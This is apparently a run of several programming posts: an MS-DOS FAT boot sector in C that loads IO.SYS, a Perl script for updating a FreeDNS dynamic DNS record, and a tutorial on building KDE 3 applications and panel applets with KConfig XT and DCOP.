* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
// MS-DOS boot sector: loads IO.SYS from the root directory and executes it.
#ifndef __GNUC__
#error "This code requires GCC with inline assembly support"
#endif
asm(".code16gcc");
// Boot sector layout: 3-byte JMP, 59-byte BPB, then code.
asm("jmp _start");
asm(".space 0x003b");
typedef char int8_t;
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned long uint32_t;
// FAT12/16 boot sector structure matching the on-disk layout.
typedef struct __attribute__((packed)) {
int8_t _a[3];
int8_t name[8];
uint16_t bytes_per_sector;
uint8_t sectors_per_cluster;
uint16_t reserved_sectors;
uint8_t fats;
uint16_t root_entries;
uint16_t total_sectors;
uint8_t media_descriptor;
uint16_t sectors_per_fat;
uint16_t sectors_per_track;
uint16_t heads;
uint32_t hidden_sectors;
uint32_t total_sectors2;
uint8_t drive_index;
uint8_t _b;
uint8_t signature;
uint32_t id;
int8_t label[11];
int8_t type[8];
uint8_t _c[448];
uint16_t sig;
} boot_t;
// Track current disk operation: LBA address and sectors per track (from BIOS).
typedef struct {
uint8_t sectors;
uint32_t lba;
} disk_t;
// FAT directory entry: 8.3 filename format plus metadata.
typedef struct __attribute__((packed)) {
int8_t filename[8];
int8_t extension[3];
uint8_t attributes;
uint8_t _a;
uint8_t create_time_us;
uint16_t create_time;
uint16_t create_date;
uint16_t last_access_date;
uint8_t _b[2];
uint16_t last_modified_time;
uint16_t last_modified_date;
uint16_t cluster;
uint32_t size;
} entry_t;
#define BOOT_SECTOR_ADDR 0x7c00
#define DISK_INFO_ADDR 0x7e00
#define ROOT_DIR_ADDR 0x0500
#define IO_SYS_LOAD_ADDR 0x0700
#define FIRST_HDD 0x80
#define IO_SYS_SECTORS 3
#define FILENAME_EXT_LEN 11
// BIOS loads the boot sector here during POST.
boot_t const *boot_sector = (boot_t *)BOOT_SECTOR_ADDR;
// Store disk geometry info right after boot sector in free memory.
disk_t *disk_info = (disk_t *)DISK_INFO_ADDR;
// IO.SYS in 8.3 format: "IO " + "SYS"
int8_t const *io_sys_name = "IO SYS";
// Multi-purpose buffer: first for root directory, then for IO.SYS itself.
uint8_t *buffer;
// Number of sectors to read in the next disk operation.
uint8_t sector_count;
// Current directory entry being examined during search.
entry_t const *current_entry;
// Compare directory entry name against "IO SYS" (8.3 filename format).
// Standard string comparison: checks until mismatch, null terminator, or end of
// string.
int8_t is_io_sys(void) {
uint16_t i;
for (i = 0; i < FILENAME_EXT_LEN - 1 && ((int8_t *)current_entry)[i] &&
((int8_t *)current_entry)[i] == io_sys_name[i];
++i)
;
return ((int8_t *)current_entry)[i] - io_sys_name[i];
}
// Read sectors from disk using BIOS INT 13h, AH=02h.
// Converts LBA to CHS since older BIOS doesn't support LBA addressing.
void read_sectors(void) {
uint32_t sectors_per_cylinder = boot_sector->heads * disk_info->sectors;
uint16_t cylinder = disk_info->lba / sectors_per_cylinder;
uint16_t head = (disk_info->lba % sectors_per_cylinder) / disk_info->sectors;
// Pack cylinder (10 bits) and sector (6 bits) into CX register format.
cylinder <<= 8;
cylinder |=
((disk_info->lba % sectors_per_cylinder) % disk_info->sectors) + 1;
// INT 13h, AH=02h: Read sectors into memory
// AL=sector_count, ES:BX=buffer, CX=cylinder/sector, DH=head, DL=drive
asm("int $0x13"
:
: "a"(0x0200 | sector_count), "b"(buffer), "c"(cylinder),
"d"((head << 8) | FIRST_HDD));
}
uint16_t _start(void) {
// Get disk geometry using INT 13h, AH=08h.
// CL bits 0-5 contain sectors per track.
asm("int $0x13"
: "=c"(disk_info->sectors)
: "a"(0x0800), "d"(FIRST_HDD)
: "bx");
disk_info->sectors &= 0b00111111;
// Calculate root directory location: after reserved sectors and both FATs.
buffer = (uint8_t *)ROOT_DIR_ADDR;
disk_info->lba = boot_sector->reserved_sectors +
(boot_sector->fats * boot_sector->sectors_per_fat);
sector_count = boot_sector->root_entries * sizeof(entry_t) /
boot_sector->bytes_per_sector;
read_sectors();
// Scan root directory entries for IO.SYS.
for (current_entry = (entry_t *)buffer;; ++current_entry)
if (is_io_sys() == 0) {
// Found IO.SYS. Calculate its location in the data area.
// FAT cluster numbering starts at 2, so offset = (cluster - 2) *
// sectors_per_cluster.
buffer = (uint8_t *)IO_SYS_LOAD_ADDR;
disk_info->lba += sector_count + (current_entry->cluster - 2) *
boot_sector->sectors_per_cluster;
sector_count = IO_SYS_SECTORS;
read_sectors();
// Transfer control to IO.SYS at 0000:0700
asm("jmpw %0, %1" : : "g"(0x0000), "g"(IO_SYS_LOAD_ADDR));
}
return 0;
}Required:
Optional:
The script will query FreeDNS to find out your public IP if you do not specify an IP with –ip.
You can specify which DNS server you want the script to query when it is checking your domain records. This is useful if you have an internal DNS server that maps your domain to a private IP.
By default, the script will not invoke an update if the domain’s A record is the same as your IP. You can force an update with the –force option.
The source code is released under the MIT license and is also available on GitHub at github.com/kjiwa/freedns-update.
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#!/usr/bin/perl
use strict;
use warnings;
use Getopt::Long;
use LWP::Simple;
use Net::DNS;
use Socket;
sub get_my_ip_address
{
my $url = qq(http://freedns.afraid.org/dynamic/check.php);
my $content = get($url);
die($!) unless defined($content);
$content =~ m/Detected IP : (\S+)\n/ or die("Unable to extract IP address");
my $ip = $1;
return $ip;
}
sub get_ip_address_by_hostname
{
my ($domain) = @_;
my $host = gethostbyname($domain);
die(sprintf(qq(Unable to determine IP address for %s), $domain)) unless defined($host);
my $ip = inet_ntoa($host);
return $ip;
}
sub get_ip_address_by_hostname_from_ns
{
my ($domain, $ns) = @_;
my $res = new Net::DNS::Resolver;
$res->nameservers($ns);
my @answers = $res->send($domain)->answer;
foreach my $answer (@answers) {
my $ip = $answer->{address};
return $ip if $ip;
}
die(sprintf(qq(Unable to determine IP address for %s), $domain));
}
sub update_host_ip_address
{
my ($domain, $key, $ip) = @_;
my $url = sprintf(qq(http://freedns.afraid.org/dynamic/update.php?%s&address=%s), $key, $ip);
my $content = get($url);
unless ($content =~ m/(ERROR: Address \S+ has not changed|Updated \d+ host\(s\) .+ to \S+ in .+ seconds|Updated \S+ to \S+ in .+ seconds)/) {
die(sprintf(qq(Error updating domain %s to IP %s: %s), $domain, $ip, $content));
}
}
sub get_args
{
my %opts;
my @args = (
'domain|d=s',
'key|k=s',
'ip=s',
'nameserver|ns=s',
'force|f',
'simulate|s',
'print|p',
'help|h'
);
GetOptions(\%opts, @args);
if (!exists $opts{domain} || !exists $opts{key}) {
$opts{help} = 1;
}
return %opts;
}
sub usage
{
my @P = split(/\//, $0);
my $p = pop(@P);
my $s = <<EOS;
USAGE: %s
Required:
--domain <domain>
--key <key>
Optional:
--ip <ip>
--nameserver <nameserver>
--force
--simulate
--print
--help
EOS
return sprintf($s, $p);
}
sub fault_handler
{
my ($e) = @_;
print(sprintf(qq(%s\n), $e));
print(sprintf(qq(%s\n), usage));
exit(-1);
}
sub main
{
my %args = get_args;
my $domain = $args{domain};
my $key = $args{key};
my $my_ip = $args{ip};
my $ns = $args{nameserver};
my $force = $args{force};
my $simulate = $args{simulate};
my $print = $args{print};
my $help = $args{help};
if ($help) {
print(sprintf(qq(%s\n), usage()));
return 0;
}
my $domain_ip = $ns
? get_ip_address_by_hostname_from_ns($domain, $ns)
: get_ip_address_by_hostname($domain);
$my_ip = get_my_ip_address if !defined($my_ip);
if ($print) {
print(sprintf(qq(Before:\t%s\n), $domain_ip));
print(sprintf(qq(After:\t%s\n), $my_ip));
}
if (!$simulate
and ($force
or $domain_ip ne $my_ip)) {
update_host_ip_address($domain, $key, $my_ip);
}
return 0;
}
eval {
main;
};
fault_handler($@) if $@;The information presented within stems from my experiences developing for the KDE platform. I’ve found that it is difficult to find relevant documentation for KDE components such as DCOP, KConfig, and icon themes. The situation becomes increasingly dire for less common uses of these components. Often one must resort to source code for other KDE projects to see how some of these components are to be used. I hope to address this and guide a new KDE developer through the different components available to them.
A KDE application conventionally consists of a main window with a menu bar and toolbars, for example, Konqueror and JuK. A user may explicitly invoke it by executing the associated binary. A KDE panel applet is similar in structure to a KDE application but it is implicitly invoked through the Kicker, the KDE panel, and runs from within it.
Very simply, the technical distinction between an application and an applet is in the use of KApplication versus KPanelApplet as a base class for your program. Simply substituting one base class for the other, however, will not transform your program into the other. There are differences in the project structure affecting things such as the build process and entry points. The technical aspects will be covered in subsequent sections.
In order to compile and run the programs used herein you must have a working GNU/Linux environment with the following packages:
The reader ought to have experience developing with C++ in a Linux environment. Basic knowledge of Qt and KDE is beneficial.
The basic structure for a KDE application contains the application class, subclassed from KApplication, and an entry point.
#include <kaboutdata.h>
#include <kapplication.h>
#include <kcmdlineargs.h>
#include <klocale.h>
class Application : public KApplication { };
int main(int argc, char* argv[]) {
KAboutData about("application", I18N_NOOP("Application"), "0.1", I18N_NOOP("Application"), KAboutData::License_GPL_V2);
KCmdLineArgs::init(argc, argv, &about);
Application a;
return a.exec();
}This program creates a new KDE application with an event loop. The program is created as a binary with int main(int, char* []) as its entry point. No further actions are taken.
To build the application by hand, the following commands may be used:
$ g++ -I/usr/include/qt3 -I/usr/include/kde -c -o application.o ./application.cpp
$ g++ -L/usr/lib/kde -lkdeui -o application application.oThe basic structure for a KDE applet is similar to that for applications. The code base contains the applet class, subclassed from KPanelApplet, and an entry point.
#include <kglobal.h>
#include <klocale.h>
#include <kpanelapplet.h>
class Applet : public KPanelApplet { };
extern "C" {
KPanelApplet* init(QWidget* parent, const QString& configFile) {
int actions = 0;
KGlobal::locale()->insertCatalogue("applet");
return new Applet(configFile, KPanelApplet::Normal, actions, parent, "applet");
}}Notice that while the main class has a similar structure to the application, the entry point differs significantly. The applet is not compiled to a binary program and it cannot be invoked with main(). Instead, the applet is compiled to a shared object with init() as an entry point.
A class and an entry point are not enough to load the applet. The KDE Kicker and Panel Applet Proxy rely on the presence of a .desktop file which contains information about the applet and how to load it. The example .desktop file tells the invoking application (e.g. Kicker, Applet Proxy) that the code the our applet is available in the libapplet object.
[Desktop Entry]
Encoding=UTF-8
Comment=An Example Applet
Name=Applet
X-KDE-Library=libappletHere we define a name and description for the applet, “Applet” and “An Example Applet”, respectively. The X-KDE-Library setting tells the invoking application which library the applet has been compiled to, libapplet.so in this case.
Tip: Use the Panel Applet Proxy to run the applet from a console to view debugging output. e.g.
$ appletproxy /usr/share/apps/kicker/applets/applet.desktopOur user interface (UI) will be implemented as a widget and therefore inherits from QWidget. Within the widget is also where the program logic should be implemented. Placing the UI within the widget increases code reusability, although it is not incorrect to directly implement it within the application or applet.
#include <qwidget.h>
class Widget : public QWidget { };We can load the widget by creating a new instance of the widget and displaying it from anywhere within the code.
#include "widget.h"
{
...
Widget* pWidget = new Widget(this);
pWidget->show();
...
}
With the release of KDE 3.2, KConfig XT has been adopted as the official configuration framework for KDE and KDE programs. For each configuration file, two files are required: a .kcfg file containing the configuration structure and a .kcfgc file containing code generation options.
The .kcfg file contains XML describing the settings data. Conventionally it should have the same base name as the target being compiled (i.e. for libapplet.la use libapplet_la.kcfg and for application use application.kcfg).
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE kcfg SYSTEM "http://www.kde.org/standards/kcfg/1.0/kcfg.dtd">
<kcfg>
<kcfgfile name="apprc" />
<group name="General">
<entry name="icon" type="String">
<label>The program icon.</label>
<default>kate</default>
</entry>
</group>
</kcfg>The example settings shown in figure 6 define one option, stored as a string, called icon. The save location is defined by the kcfgfile tag, “apprc” in this case.
The .kcfgc file is an ini file containing code generation options. Values for File and ClassName are required. These options tell the settings compiler which file the settings data has been defined in and what the name of the generated class will be, e.g. settings.kcfgc.
File=application.kcfg
ClassName=SettingsOther available options include Inherits, MemberVariables, Mutators NameSpace, and Singleton. The use of the Mutators option is particularly useful if options data may change.
In order to use the settings data, the files must be compiled by the kconfig_compiler program. e.g.
$ kconfig_compiler application.kcfg settings.kcfgcThe class generated in the example is output to settings.h and has the following interface:
#include <kconfigskeleton.h>
class Settings : public KConfigSkeleton {
public:
Settings();
~Settings();
QString icon() const;
protected:
QString mIcon;
};Note that we need not explicitly load or save the settings; KConfig XT takes care of this for us and stores them in $KDE_HOME/.kde/share/config.
The Desktop Communication Protocol (DCOP) was designed to achieve interprocess communication (IPC) between KDE programs. To use DCOP, an interface needs to be defined for the program. Doing so exposes a set of functions to the DCOP server.
#include <dcopobject.h>
class WidgetInterface : virtual public DCOPObject {
K_DCOP
k_dcop:
virtual QString icon() const=0;
virtual void quit()=0;
};The implementation is straightforward. The name of the interface is set as a parameter to the DCOPObject base class.
#include "settings.h"
#include "widgetinterface.h"
#include <dcopclient.h>
#include <kglobal.h>
#include <qwidget.h>
class Widget : public QWidget, public WidgetInterface {
public:
Widget(QWidget* parent=0, const char* name=0) : QWidget(parent, name), DCOPObject("WidgetInterface") { }
QString icon() const {
Settings s;
return s.icon();
}
void quit() {
kapp->quit();
}
};The next step is to establish a connection with the DCOP server. This step is typically done once by the main application (e.g. within Application() or Applet()). Any interfaces which have been implemented will automatically become available.
#include <dcopclient.h>
{
...
DCOPClient client;
client.registerAs("application", false);
...
}Now, we have the following functions available to DCOP:
application.WidgetInterface.icon()
application.WidgetInterface.quit()We can use the DCOP client to call these functions from within the program.
#include <dcopclient.h>
#include <qbytearray.h>
#include <qdatastream.h>
#include <qcstring.h>
QByteArray data, replyData;
QCString replyType;
DCOPClient client;
if (client.call("application", "WidgetInterface", "icon", data, replyType, replyData)) {
if (replyType == "QString") {
QDataStream reply(replyData, IO_ReadOnly);
QString result;
reply >> result;
}
}A DCOP interface is also an effective debugging tool. Tools such as dcop and kdcop allow execution and analysis of available DCOP interfaces. e.g.
$ dcop application WidgetInterface iconTypically applications use dialogs as their main widget. KDE provides the KMainWindow widget to build a main window from.
#include <kmainwindow.h>
class Widget : public KMainWindow { };Applets do not typically use dialogs as their main widget. Instead buttons, labels, sliders, and many others are commonly used.
#include <kicontheme.h>
#include <qlabel.h>
class Widget : public QLabel {
public:
Widget(QWidget* parent=0, const char* name=0) : QLabel(parent, name) {
setAlignment(Qt::AlignHCenter | Qt::AlignVCenter);
Settings s;
setPixmap(SmallIcon(s.icon()));
}
};KConfigDialog is a type of dialog that has been customized for displaying settings. If the KConfig XT framework is being used, then our generated class to be defined as a singleton. A widget with the widget names corresponding to the names of the settings, prefixed with kcfg_, must be designed for use with the dialog. For example, a QLabel for the icon setting would be named kcfg_icon.
#include "settings.h"
#include "settingswidget.h"
#include <kconfigdialog.h>
#include <klocale.h>
#include <qwidget.h>
class Widget : public QWidget {
public:
void preferences() {
if (KConfigDialog::showDialog("settings")) {
return;
}
KConfigDialog* pDialog = new KConfigDialog(this, "settings", Settings::self());
SettingsWidget* pWidget = new SettingsWidget(0, "General");
pDialog->addPage(pWidget, i18n("General"), "general");
pDialog->show();
}
};A context menu event is received when the right mouse button is pressed on the widget. By default, this event is ignored. To display a menu, a QPopupMenu or a KPopupMenu must be implemented within the contextMenuEvent event handler.
#include <dcopclient.h>
#include <kglobal.h>
#include <kicontheme.h>
#include <klocale.h>
#include <kpopupmenu.h>
#include <qwidget.h>
class Widget : public QWidget {
Q_OBJECT
protected:
void contextMenuEvent(QContextMenuEvent*) {
KPopupMenu menu(this);
menu.insertTitle(i18n("My Menu"));
menu.insertItem(i18n("Menu Item"));
menu.insertSeparator();
menu.insertItem(SmallIcon("exit"), i18n("&Quit"), this, SLOT(quit()));
menu.exec();
}
private slots:
void quit() {
kapp->quit();
}
};The KHelpMenu object may be of interest. It provides a standard KDE help menu with various dialogs and links to help documentation and is easily embedded into the menu.
{
...
KAboutData about("application", I18N_NOOP("Application"), "0.1", I18N_NOOP("Application"), KAboutData::License_GPL_V2);
KHelpMenu* pHelp = new KHelpMenu(this, &about, false);
menu.insertItem(i18n("&Help"), pHelp->menu());
...
}Mouse press events are received whenever the widget is clicked upon, whether it be with the left, middle, or right mouse buttons. These events may be captured from within the mousePressEvent event handler. Note that there is an overlap between the mouse press event and the context menu event when the right mouse button is pressed.
#include <qwidget.h>
#include <qevent.h>
class Widget : public QWidget {
protected:
void mousePressEvent(QMousePressEvent* e) {
if (e->button() == Qt::LeftButton) {
}
}
};As with the context menu and mouse press events, the resize event is handled by the resizeEvent() function. If an icon is displayed it may be resized by using the KDE icon theme functions.
#include <kicontheme.h>
#include <qevent.h>
#include <qwidget.h>
class Widget : public QLabel {
public:
Widget(QWidget* parent=0, const char* name=0) : QLabel(parent, name) {
setAlignment(Qt::AlignHCenter | Qt::AlignVCenter);
}
protected:
void resizeEvent(QResizeEvent* e) {
int h = e->size().height();
int w = e->size().width();
int size = (h > w) ? h : w;
setPixmap(SmallIcon(Settings::icon(), size));
}
};I would like to express my gratitude to Jeff Tranter (jefft@xandros.com) and the Xandros Corporation for introducing me to the world of KDE development. Without them this document would not have been possible.
Thanks also to Frerich Raabe (raabe@kde.org) for his suggestions in improving the code examples and explanations.
]]>